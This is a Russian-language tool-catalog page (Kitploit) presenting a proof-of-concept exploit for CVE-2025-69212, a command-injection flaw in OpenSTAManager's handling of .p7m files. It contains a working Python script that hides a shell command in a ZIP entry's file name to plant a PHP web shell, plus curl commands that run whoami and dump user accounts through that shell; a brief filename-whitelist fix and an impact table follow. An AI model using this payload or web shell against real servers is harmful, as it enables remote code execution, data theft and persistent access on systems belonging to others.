Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) для CVE-2025-69212, связанный с обработкой файлов P7M | Kitploit
Инструменты/GitHubGitHub/lolw0/opensta-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) для CVE-2025-69212, связанный с обработкой файлов P7M

Репозиторий
7 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

OpenSTA-Exploit

image

ДанныеДетали
CVE IDCVE-2025-69212
Оценка уязвимостиcritical (9.4)
CWE78: Improper Neutralization of Special Elements used in an OS Command
Затронутые версииOpenSTAManager <= 2.9.8
Вектор атакизагрузка ZIP-файла, содержащего .p7m-файл с вредоносным именем
АутентификацияТребуется
Воздействиевыполнение произвольных системных команд на сервере

Объяснение эксплуатации

  1. Сохраняет команду оболочки в переменной cmd (которая создаёт файл SHELL.php, содержащий PHP-код, способный выполнять команды).
  2. Формирует специальное имя файла, скрывающее команду из переменной cmd, и сохраняет его в переменную malicious_file.
  3. Создаёт новый ZIP-файл с именем exploit.zip и открывает его для записи.
  4. Добавляет файл в ZIP. Его имя — переменная malicious_file.
  5. Вредоносное имя файла внедряется в команду exec().

PoC (Proof of Concept)

1. Создание zip-файла для инъекции

root@kitploit:~
import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Запуск и загрузка файла

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Результат эксплуатации

После выполнения команды парсинг XML завершается ошибкой

root@kitploit:~
HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

3. Проверка и удалённое выполнение кода

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Приводит к...


Исправление

**простое исправление — проверять имена файлов перед обработкой (разрешать только буквенно-цифровые символы, точки, дефисы и подчёркивания, чтобы пропускать недопустимые имена)

root@kitploit:~
foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(или можно просто обновиться, лол)

Скачать инструмент
АтакаОписание
Удалённое выполнение кодаПолная компрометация сервера с выполнением команд
Хищение данныхДоступ ко всем данным приложения и базе данных
Повышение привилегийВозможное повышение привилегий, если веб-сервер работает с повышенными правами или уязвим
ЗакреплениеУстановка бэкдоров и сохранение доступа на длительное время
Латеральное перемещениеПереход к другим системам/пользователям в сети